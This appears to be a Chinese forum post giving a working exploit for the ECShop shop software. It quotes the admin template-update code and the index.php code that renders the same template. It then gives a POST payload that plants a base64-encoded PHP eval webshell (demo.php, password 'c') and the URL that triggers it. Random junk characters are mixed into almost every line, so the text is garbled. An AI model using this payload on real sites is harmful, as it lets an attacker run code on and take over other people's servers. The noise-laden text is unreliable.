首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板% J2 v8 \$ e. I7 C" Y
* S% w- ~$ W% h7 X j
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
- Z0 J" m3 W6 l( Y1 G- R$ v但是ecshop似乎不支持{php}{/php}这个标签来执行php代码9 N( G9 k0 R/ D G
admin/template.php% S" A3 b7 z5 a% @
. A5 v- C- n' o1 if ($_REQUEST['act'] == 'update_library')
4 L( p: m4 d0 W4 p/ \- N0 @' ?# S; E' A4 |1 @
2 ; K1 s7 i# V6 W) V# U! Y
6 Z! c: m$ O* B7 ?8 P8 F. b
3 { 2 k. \9 \0 F. ~1 k! `
% H3 w. f: m2 C+ J
4 check_authz_json('library_manage'); N$ r$ f& s5 H
/ t8 B. \+ c& t# o
5
0 Q# l% \" ?( M6 N" g1 h e& a( o# \5 ^
6 $html = stripslashes(json_str_iconv($_POST['html']));
$ K/ f' ?* L' o" D4 F! H8 G e1 S! E* E1 H
7 ) m1 h# s- I& x0 ~ [
0 O) ^3 l, T6 y9 M! N& d0 ]- `8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
; e, r3 e1 ?8 {& g2 a+ j: D: S, ?( }
9
/ R7 S! e/ [8 Y. b, M7 I6 t% p6 N [* U J. d
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 + {0 a* r$ ]1 A- d
( u: i& u" h, ^1 g& x* G
11 ) w+ ]0 x( u, S( H8 T) l
, r9 }, A. _( n* O
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
- l! L _+ x5 t- ~. m$ e! }
: J1 G3 |; m& M4 x* G13
. w2 P( b$ \- u! m
! m; [& E* s4 A9 S2 r$ U14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
( Y$ @: p! i, y
$ e2 z$ |7 B5 O# o15 { 3 ~! }# M* z7 _- O
' [7 u* P% g( G5 x# h
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); # R8 y- t" i9 X5 x% t) M, v7 [6 W0 {
7 B3 h2 V, C% [* U, [
17 make_json_result('', $_LANG['update_lib_success']); * h/ X7 Y0 c0 L3 U/ v" f
; L; }8 }9 S% y" c% ]18 }
# s& | [5 P0 m
! m; o. g( b- q; N1 f2 L: i/ d19 else 9 N4 N% o, k; s$ c6 p' J/ k; W
0 ^3 r5 u' O+ V4 M6 S1 s20 { & ~3 U `! b* @1 ^ B# w; v
) t! z' _9 a) R5 F$ J7 @* N21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
6 | v3 u+ i6 b6 R. c$ a. M
% w* M S: _* w7 w22 } ) k" T+ G. v& P# I
9 Q. C' f8 ^& Y: Y$ w7 w23 } ; E' y+ C5 U& k
' S& X, |# }9 ?; f }7 m
那么找个比较方便调用了模板的文件, z% X4 w/ }5 U& t7 d; d0 A$ I
index.php
) q" `1 e1 D7 R3 J9 J6 U! K% f, a" x" p9 E5 Y$ m
1 if ($act == 'cat_rec')
1 q/ ?3 p1 [4 U, L' f) s2 A8 w4 y# X2 A
2 ) H' L$ e5 M2 Q4 V) C1 C
9 I( H5 G/ {! `0 S/ J- o- E
3 { : ] |0 t% g. R+ z; ^, ?
4 i7 h/ z) k" F+ \% q3 _6 v% _( e
4 2 n- O1 [3 I0 g1 ~: m
0 r+ u1 x6 {: L) F5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); : }% V/ V8 i; t- {9 X" l: _
+ I: q* b+ S7 J
6
! S) l4 e2 q8 w
3 U# m8 Q! C6 p" u; ~ [0 |4 n* |7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
4 w) l7 o/ k6 \) m! \* a$ X6 z4 G! Y/ `, }8 W
8
" G$ _0 f K7 N3 c9 i6 |! ~) g! H6 Y Y* ?7 u3 I- g( y8 z
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; ) k4 g: o; ^5 R3 V
/ r% \& Z' J+ u3 L( M% G/ N1 b10
( j! M; q- M0 n9 I8 j+ m
' s8 _! b% U, Z! E( p; m11 include_once('includes/cls_json.php');
$ X% n) y9 L# o1 U' `9 Z5 a! b( [9 C, q& f4 X* h
12 9 B! v9 b1 W, Y: k( \. g+ j! J
) I: d6 o3 n% ?( @+ G13 $json = new JSON;
/ `# q7 \! y; `: q: w( E- J( v4 x- k$ y& H
14 ; ]) q, S& k8 O4 i' y- Z
! f; |1 [9 `! B& A9 a7 l4 _$ e
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
( I% L+ r" h- J9 G! z6 o, t( m: J X, k( R7 I* c
16
& n& `! g" Y- w% B: u0 B* L) J
: W4 k( h( g$ N+ [% a& ^ X/ V17 $children = get_children($cat_id); + m8 [' G5 q1 H# K# W# r
. A) Z8 i5 O6 J$ K3 Y18 0 \5 M: ^. J+ b9 X
, \/ t2 O/ j) w. U( n: c8 R! j& m
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 * M9 H0 z5 W# ~8 g4 R
' V* f+ H; p: m20
- A9 Q0 z. y3 Y2 ^% U7 w4 d
: {) \0 Z$ x& _! q% G21 $smarty->assign('cat_rec_sign', 1); ( Q: _& q, y# K+ {. r+ n, Y2 P4 H
6 {( s; A) C) j) z1 q* x' _9 V6 b22
6 a) d& M# d3 Y' y L( y' V4 B5 ]! h. v7 r( ]' G
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best % p) {; r$ O7 w5 j. |) O! T
- A' `$ z4 g! c, T8 u4 W$ `( ^
24
1 w7 e+ |! w* [/ ~0 v- y3 r8 l5 y, ?) u) u' L
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; " L/ j* k# U j" a3 F$ H, i
/ x$ j! n& _1 y, D% J+ x- B26 ) C1 g2 I, L/ Z7 q4 S
( U- t# i' V) t27 echo $rec_array[$rec_type];
: D6 v9 T9 g2 g G, G
L( C* e6 W, ]9 I28 " P$ R- v) X: W1 @3 u% F7 z
/ p w5 k$ p7 Z% T7 A+ ~" @* S
29 die($json->encode($result));
4 `+ K( H7 u7 {! @! j" B$ l5 r1 ~6 f5 B: e; D
30
* O( ~' d- P( L' q+ |
# ]' n" u% S5 N/ b31 }
) n: T0 W% n& m2 g% e" x
4 O8 J8 ~% f: u2 B) A' Z8 c那么就有利用方法了
3 F. P! S/ I! Q* l7 |post包到http://localhost/ec/admin/template.php?act=update_library
, }3 a, Z* i# S7 ?Post内容:
& \; F2 }0 `. Y% ?7 r$ J
3 |" ~6 _/ R1 h& f1 [
! k0 G; t4 H+ D. n1 G6 ]- [, [1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} 7 f! t. ]# v. |2 c2 G. v
7 b3 ]1 ^- K, x1 \8 K7 W' N! C7 F$ e然后访问http://localhost/ec/index.php?act=cat_rec
# O: Q# }& V$ \' X, x2 N0 E
* |3 C' U% z- R! ^ z2 u! j- Jshel地址:http://localhost/ec/demo.php3 f, f( H4 _- e5 T* ]+ o
密码c
- Y2 m1 v' a, [
9 u- r6 J2 A6 T6 J$ e/ n: @ |